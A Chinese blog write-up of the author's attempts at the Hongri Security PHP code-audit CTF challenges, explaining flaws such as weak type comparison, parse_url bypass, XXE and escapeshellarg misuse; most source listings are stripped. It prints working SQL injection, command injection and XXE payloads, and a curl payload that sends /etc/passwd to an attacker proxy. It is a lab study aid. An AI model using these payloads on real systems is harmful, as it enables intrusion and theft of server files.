红日安全出的代码审计项目。。。之前审计苹果CMS
复现不成功十分郁闷,于是先从里面的CTF进行练习吧。
看官方出的题解。。作为菜鸡很难理解,每一道复现的都很艰难,也的确学习到很多知识。
DAY1–in_array() 绕过和不能使用拼接函数的 updatexml 注入
题目源码如下
1 |
|
1 |
|
这题的问题关键点在于 in_array
绕过
首先,我们得先绕过in_array函数
。流程是将数据库里的所有的id
值取出存在$whitelist
中
然后,判断传入的id
是否存在白名单里。也就是说,其实id
必须是数字。如果不是数字就会报错。
关于in_array()
函数
in_array ](http://php.net/manual/zh/function.in-array.php):(PHP 4, PHP 5, PHP 7)
功能 :检查数组中是否存在某个值
定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE。
所以关键点在于第三个参数,并没有指定为true
导致比较的时候并没有进行类型比较
,而由于PHP的弱类型,1=1a
是成立的.做一个测试
test.php
代码如下
1 |
|
得到回显
这样即便输入的不是数字。也不会die
从而给出正确的回显。这里可以利用盲注,可是由于stop_hack
将or
过滤了导致information_schema.tables
也无法通过正则,没想出很好的绕过方法。但是,在尝试绕过的时候发现它将报错信息回显了!
随即产生的一个思路就是报错注入。https://zhhhy.github.io/2018/09/26/sqli/
在之前的博客里翻了翻没有一条payload能满足这次注入的需求,果然还是积累太少。
红日安全团队给的官方答案如下:
学习一波updatexml
注入的payload
常见的报错payload
的如下
1 | and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) //0x7e 等于 ~ |
当 updatexml 中存在特殊字符或字母时,会出现报错,报错信息为特殊字符、字母及之后的内容,也就是说如果我们想要查询的数据是数字开头,例如 7701HongRi ,那么查询结果只会显示 HongRi
由于拼接函数被过滤了,于是变形payload
如下
1 | and (select updatexml(1,make_set(3,'~',(select flag from flag)),1)) |
当然,这一切都是知道表名和列名的前提,一时间想不到如何绕过对or
这个的处理。假设我们知道表名列名,那么就可以利用盲注来获取数据。
1 | ?id=1 and if(length((select flag from flag))>1,1,0) |
DAY2– filter_var()函数的绕过与远程命令执行
题目源码如下
1 | // index.php |
关于filter_var()
函数的介绍
定义和用法
filter_var() 函数通过指定的过滤器过滤变量。
如果成功,则返回已过滤的数据,如果失败,则返回 false。
语法
1
2 > filter_var(variable, filter, options)
>
参数 描述 variable 必需。规定要过滤的变量。 filter 可选。规定要使用的过滤器的 ID。 options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。
题目里filter_var($url, FILTER_VALIDATE_URL)
过滤器参数为FILTER_VALIDATE_URL
,看看这个过滤器是啥玩意
定义和用法
FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。
- Name: “validate_url”
- ID-number: 273
可能的标志:
- FILTER_FLAG_SCHEME_REQUIRED - 要求 URL 是 RFC 兼容 URL。(比如:http://example)
- FILTER_FLAG_HOST_REQUIRED - 要求 URL 包含主机名(http://www.example.com)
- FILTER_FLAG_PATH_REQUIRED - 要求 URL 在主机名后存在路径(比如:eg.com/example1/)
- FILTER_FLAG_QUERY_REQUIRED - 要求 URL 存在查询字符串(比如:”eg.php?age=37”)
简单的理解中这个过滤器就是用来判断传入的url
是否有效合法的。
先来绕过 filter_var 的 FILTER_VALIDATE_URL 过滤器,贴上红日安全团队给的payload
1 | http://localhost/index.php?url=http://demo.com@sec-redclub.com |
接着要绕过 parse_url 函数,并且满足 $site_info[‘host’] 的值以 sec-redclub.com 结尾,这部分没有复现成功,大概是我用的是windows
环境,红日安全应该用的是linux
吧.payload如下:
1 | http://localhost/index.php?url=demo://%22;ls;%23;sec-redclub.com:80/ |
输出看看parse_url
解析后的结果
成功解析成满足正则的host
。这里猜测;
之类的是为了exce
函数正常执行。
接下来,得到路径读取flag
当我们直接用 cat f1agi3hEre.php 命令的时候,过不了 filter_var 函数检测,因为包含空格,具体payload如下:
1 | http://localhost/index.php?url=demo://%22;cat%20f1agi3hEre.php;%23;sec-redclub.com:80/ |
当我们直接用 cat f1agi3hEre.php 命令的时候,过不了 filter_var 函数检测,因为包含空格
所以我们可以换成 cat<f1agi3hEre.php 命令,即可成功获取flag
这边虽然没有直接读到flag
,但是可以用另一种方式证明系统调用我们注入的命令了
1 | http://127.0.0.1/day2/index.php?url=demo://%22;echo>aaaa.txt;%23;sec-redclub.com:80/ |
在目录下生成了一个输出了一个aaaa.txt
。算是另一种复现成功了吧。
关于SSRF
的知识点,还是没办法理解透彻,归根结底,对协议
,php语言
不够熟悉。慢慢积累吧,道阻且长!
DAY3–实例化漏洞与XXE漏洞(Globlterator类与SimpleXMLElement)
1 | // index.php |
首先,我们有三个参数可控,在之后的if
判断了是否存在这个类名是否存在。我们假如输入一个不存在的类名,就如图返回`404
这时候就需要利用PHP的内置类,先用 GlobIterator 类搜索 flag文件 名字
关于Globlterator
public GlobIterator::__construct ( string
$pattern
[, int$flags
= FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
第一个参数为要搜索的文件名,第二个参数为选择文件的哪个信息作为键名,这里我选择用 FilesystemIterator::CURRENT_AS_FILEINFO ,其对应的常量值为0,你可以在 这里 找到这些常量的值,所以最终搜索文件的 payload 如下:
1 | http://localhost/CTF/index.php?name=GlobIterator¶m=./*.php¶m2=0 |
注意的是。。由于红日安全每篇都没有告知环境,这里踩了不少坑。。在PHP5
中使用这个payload
失败,返回的结果非常奇怪,并且路径关系搞不清。更换版本成php7
就成功了。
发现flag.php
,再使用内置类SimpleXMLElement
读取flag.php
文件的内容。这里贴上红日安全
的payload
这里我们要结合使用PHP流的使用,因为当文件中存在: < > & ‘ “ 这5个符号时,会导致XML文件解析错误,所以我们这里利用PHP文件流,将要读取的文件内容经过 base64编码 后输出即可
1 | http://localhost/CTF/index.php?name=SimpleXMLElement¶m=<x>%26xxe;</x>¶m2=2 |
利用base64
解码以后就可以读取到flag了。成功复现开心~
DAY4
环境没有搭建成功。放着以后玩
DAY5–escapeshellarg和escapeshellcmd联合使用导致多参数注入
这个题类似的前不久做过,moctf
中的unset。学习到了利用特定情境下unset
删除了超全局变量_GET
导致绕过waf
。
第一部分问题代码如下,具体分析由于上篇博客已经写过了。引用一下红日安全
的分析
1 | foreach(array('_POST', '_GET', '_COOKIE') as $__R) { |
我通过 GET 请求向 index.php 提交 flag=test ,接着通过 POST 请求提交 _GET[flag]=test 。当开始遍历 $_POST 超全局数组的时候, $__k 代表 _GET[flag] ,所以 $$__k 就是 $_GET[flag] ,即 test 值,此时 $$__k == $__v 成立,变量 $_GET[flag] 就被 unset 了。
我们成功绕过waf
之后需要使得if(md5($_GET['flag'] ) == md5($_GET['hongri']))
成立。这很简单,利用php
的弱类型
的特性可以成功绕过。
接下来解释,利用curl
读取文件。
1 | $url = $_GET['url']; |
但是呢,$url
经过escapeshellarg
和escapeshellcmd
的处理。先看看这两个函数是做什么的
escapeshellarg
(PHP 4 >= 4.0.3, PHP 5, PHP 7)
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
说明
string escapeshellarg ( string
$arg
) escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。
escapeshellcmd
(PHP 4, PHP 5, PHP 7)
escapeshellcmd — shell 元字符转义
说明
string escapeshellcmd ( string
$command
) escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF。 ‘ 和 *”* 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
这样看可能很抽象,抽出题目关键代码,单独建个文件测试一下。
1 |
|
观察发现经过escapeshellarg
函数后,多了一个双引号。也就是强制加了一对双引号
使得传入的一定是个字符串
,而escapeshellcmd
是将双引号进行转义,问题在于,这个转义是将不配对的双引号转义,也就是如果我们多加入一个双引号
闭合前面双引号
导致转义被破坏。这部分没有复现成功换了PHP5
和PHP7
都失败了,贴上红日安全的图,之后找个时间填坑。
1 | http://127.0.0.1/index1.php?url=http://127.0.0.1/flag.php' -T /etc/passwd |
这样也就是使得后面的语句逃脱了引号的包裹,使得成为独立的参数可以被cur
l执行
在 curl 中存在 -F 提交表单的方法,也可以提交文件。 -F <key=value> 向服务器POST表单,例如: curl -F “web=@index.html;type=text/html” url.com 。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。那么最后的payload为:
1 | http://baidu.com/' -F file=@/etc/passwd -x vps:9999 |
这题的思路:先是删除了超全局变量_GET
绕过了waf
,然后escapeshellarg
将原有的字符串添加上一对双引号,保证传入的是一个字符,接着escapeshellcmd
将特殊符号进行转义,但是他只能转义无法配对,也就是我们如果恶意添加一个单引号就可以绕乱原先的转义,再利用curl请求
并且监听自己的端口就能得到回显的flag
这题没复现成功,还是很不开心的。而且对于curl
操作的一无所知,以至于后半部分的操作看的有些懵逼。不过也算有所收获,再接再厉吧。
DAY6–不严格的正则匹配以及弱类型比较问题
源码如下
1 |
|
通读源代码,其实就是对password
的各种限制,首先查一下,graph
这些是什么玩意。
ascii 0 - 127的ascii字符 blank 空格和水平制表符 cntrl 控制字符 digit 十进制数(same as \d) graph 打印字符, 不包括空格 lower 小写字母 打印字符,包含空格 punct 打印字符, 不包括字母和数字 space 空白字符 (比\s多垂直制表符) upper 大写字母 word 单词字符(same as \w) alnum 字母和数字 alpha 字母 xdigit 十六进制数字
先分析一下三个正则都是什么意思:
preg_match('/^[[:graph:]]{12,}$/', $password)
可打印的字符
,不包括空格
,12个
以及以上。
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'
打印字符,十进制数字,大写字母,小写字母,输入的字符串,要是以上四种模式的任意一种。if (6 > preg_match_all($reg, $password, $arr))
而这一个判断,表示我们输入的字符串用四种模式得分割出6
个子串。
做个测试,test.php
1 |
|
当$password="ZhhY12";
时得到如下输出
当#$password="ZhhY12_123";
时
preg_match_all
返回的是成功匹配的次数。
接着看第三条正则$ps = array('punct', 'digit', 'upper', 'lower');
可打印字符,数字,大小写字母
1 | $ps = array('punct', 'digit', 'upper', 'lower'); |
所以,这个代码块所表达的是,至少含有数组
规定的类型中的三种。
拿到flag
的条件是if ("42" == $password) echo $flag;
目标很明确,找到一个满足上述条件的password
就可以拿到flag
。一开始我一心想构造一个值进过运算后等于42
例如这个2e0+40.000000
可是呢,post
过去发现不行。。陷入了郁闷之中。。这边做了一个小测试。
1 | $a="2.0e+00000"; |
所以当我构造42.0e+00000
就可以拿到flag
。这个测试背后的原理并没有搞懂。。想不出一个合理的解释。。。
DYA7–pares_str()变量覆盖和文件上传条件竞争问题
源码如下
1 | //index.php |
1 | //uploadsomething.php |
这题首先是一个变量覆盖的问题,变量覆盖总结。这里的变量覆盖是由于parse_str
引起的。
@parse_str($id); 这个函数不会检查变量 $id 是否存在,如果通过其他方式传入数据给变量 $id ,且当前 $id 中数据存在,它将会直接覆盖掉。
直接贴payload
为?id=a[0]=s878926199a
这里不难理解,看上面的链接也能明白。就不赘述了。
其实这题做过。。moctf
上就有现成的环境,不过当时并没有源码。
关键代码
1 | if ((@$_GET['filename']) && (@$_GET['content'])) { |
发现文件是固定写死的。$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
虽然这有一个加密地址的操作$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
但是由于用户的REMOTE_ADDR
是固定的,也就是加密后的值
总是固定的
。接着将flag
写入上传的文件中,调用usleep
讲线程挂起1s
,最后写入Too Slow!
。
很明显这是个条件竞争的问题。不过。。。这题是为了出题而出题吧?实战中应该是上传的脚本被后台程序删除了,导致无法getshell
不过原理是相通的,只要在写入Too slow!
之前访问到flag
就行了。这里的前提是,每次上传的路径都不变,上面的代码恰好满足了这些条件。
DAY8–无字母符号getshell
之前看过Ph神的博客。复现过一些。先放着,之后单独写一篇
DAY9–变量覆盖导致的waf绕过
源码如下
1 | // index.php |
1 | // function.php |
这边为了复现方便我将所有的POST
传参数都改成了GET
传参,这题一开始我看的是一脸懵逼,题解看半天看不懂。知道多加了几个echo
语句之后,才逐渐清晰了思路。所以。。echo
一些变量值,对整理思路有奇效!
首先在function.php
存在着变量覆盖的问题。
1 | foreach (array('_GET','_POST') as $method) { |
再看看接受参数的部分
1 | if(isset($_POST['msg']) && $_POST['msg'] !==''){ |
传入的参数msg
经过addslashes转义,htmlentities实体编码,再替换自定义的非法字符。不得不佩服大佬们的思路,先看看payload
1 | msg=1%00' and updatexml(1,concat(0x7e,(select * from flag),0x7e),1))#&limit_words[\0\]= |
利用变量覆盖将limit_words[\0\]
注册为空。为什么是\0\
由于%00
进入php
之后就被转成了\0
又由于'
被转义成\'
所以拼接出来msg
的值是1\0\
,又由于经过replace_bad_word
函数的替换,导致\0\
被替换成空,从而单引号得以逃脱转义。
这个环境是PHP7
,在php5
这个payload
就不适合了,好像转义的情况变得不一样了。但是这个思路是很值得学习!,这也是第一次意识到变量覆盖的危害,应该是第二次,还有一个是之前写的删除超全局变量GET
再加变量覆盖导致的waf
绕过。
DAY10–程序未及时停止导致的问题
源码如下
1 |
|
可以要看到,是有做sql注入过滤
,但是过滤并不严格
1 | and if(length((table_name from information_schema.tables where table_schema=database() limit 0,1,))>1,sleep(5),0) %23 |
以上payload
不会触发过滤这里如何绕过sql
不是我想考虑的重点,重点是程序没有及时退出的产生的问题,所以我先把sleep
函数先移除过滤,方便测试。
1 | if($raw!=$string){ |
当检测到非法字符
的时候,页面跳转到error
页面。
但是,程序并没有停止。。而是继续往下执行了。 这边做个小测试,比较直观
在执行sql
语句后加入一句跳转到yes
,也就是。原本匹配到非法字符是跳转到error
,但是由于程序并没有结束,语句继续执行,导致sql
语句还是被带入数据库中查询,而能够执行到跳转yes
的语句,就证明了sql
语句以及被执行了。
但是,其实既然能绕过waf
就意味着不会执行跳转到error
页面。而如果无法绕过过滤,导致sql
语句因为替换而变形,就算带入数据库,也无法猜解数据库数据。(个人分析,不知道正确否)
上图显示的是sleep
被替换了,导致语句无法执行。关于代替sleep
的注入语句还有别的,这边先mark
之后再学习。mysql 延时注入新思路 。再贴上红日安全
写的注入脚本
1 | import sys, string, requests |
观察脚本的payload
也可以发现,成功绕过了waf
,并不会跳转到error
页面。
DAY11
这篇篇幅有点长,反序列化的问题,有必要单独写一下。
DAY12–反斜杠导致单引号注入和REQUEST引起的waf绕过
题目源码如下
1 |
|
代码逻辑很简单,接受username
和password
并且对其进行过滤。这个正则写的挺复杂,菜鸟看不懂。。大概就是过滤了,union
、or
、where
之类的关键字,由于不能够理解正则,也就没办法从正则不严格的方面入手。而这题的考点,我猜测也不是正则吧。
关键点,反斜杠的遗漏导致单引号逃逸转义和接受参数时方法和waf
接受参数的方法不一致产生的问题
关于反斜杠
的问题之前博客已经写过了,这边就不赘述。传送门
关注一下第二个问题。这边get
到一个新知识。
1 | if(isset($_REQUEST['username'])){ |
首先参数被传递进来的时候就已经接受过滤,注意这里的接受方法是$_REQUEST
,而php中 REQUEST 变量默认情况下包含了 GET ,POST 和 COOKIE 的数组。
在 php.ini 配置文件中,有一个参数 variables_order ,这参数有以下可选项目
1
2
3
4
5 > > ; variables_order
> > ; Default Value: "EGPCS"
> > ; Development Value: "GPCS"
> > ; Production Value: "GPCS"
> >
这些字母分别对应的是 E: Environment ,G:Get,P:Post,C:Cookie,S:Server。这些字母的出现顺序,表明了数据的加载顺序。而 php.ini 中这个参数默认的配置是 GPCS ,也就是说如果以 POST 、 GET 方式传入相同的变量,那么用 REQUEST 获取该变量的值将为 POST 该变量的值。
做个小实验
1 | $username =$_REQUEST['username']; |
说明了当传入的参数名相同时GET
的值会被POST
的值覆盖掉
那么这题的就可以用这种方法绕过正则,导致正则无效。payload
如下
1 | username=\&password=union select * from ctf.user%23; |
总结
复现完这些问题,学习到不少知识。除去三篇没有成功复现的,从九篇里感受到了安全问题真是无处不在。有时候,按照正常人的思路怎么会想到这种天马行空的payload
,审计这些题目的时候,总感觉头皮发麻,也可能是缺乏开发经验,看到大篇幅的代码的时候有些手足无措。。这也是没有去复现day11的原因。。道阻且长。。现在这停一停,比较信息量还是很大的,而且CMS也还没开始复现,一切似乎还在计划之中。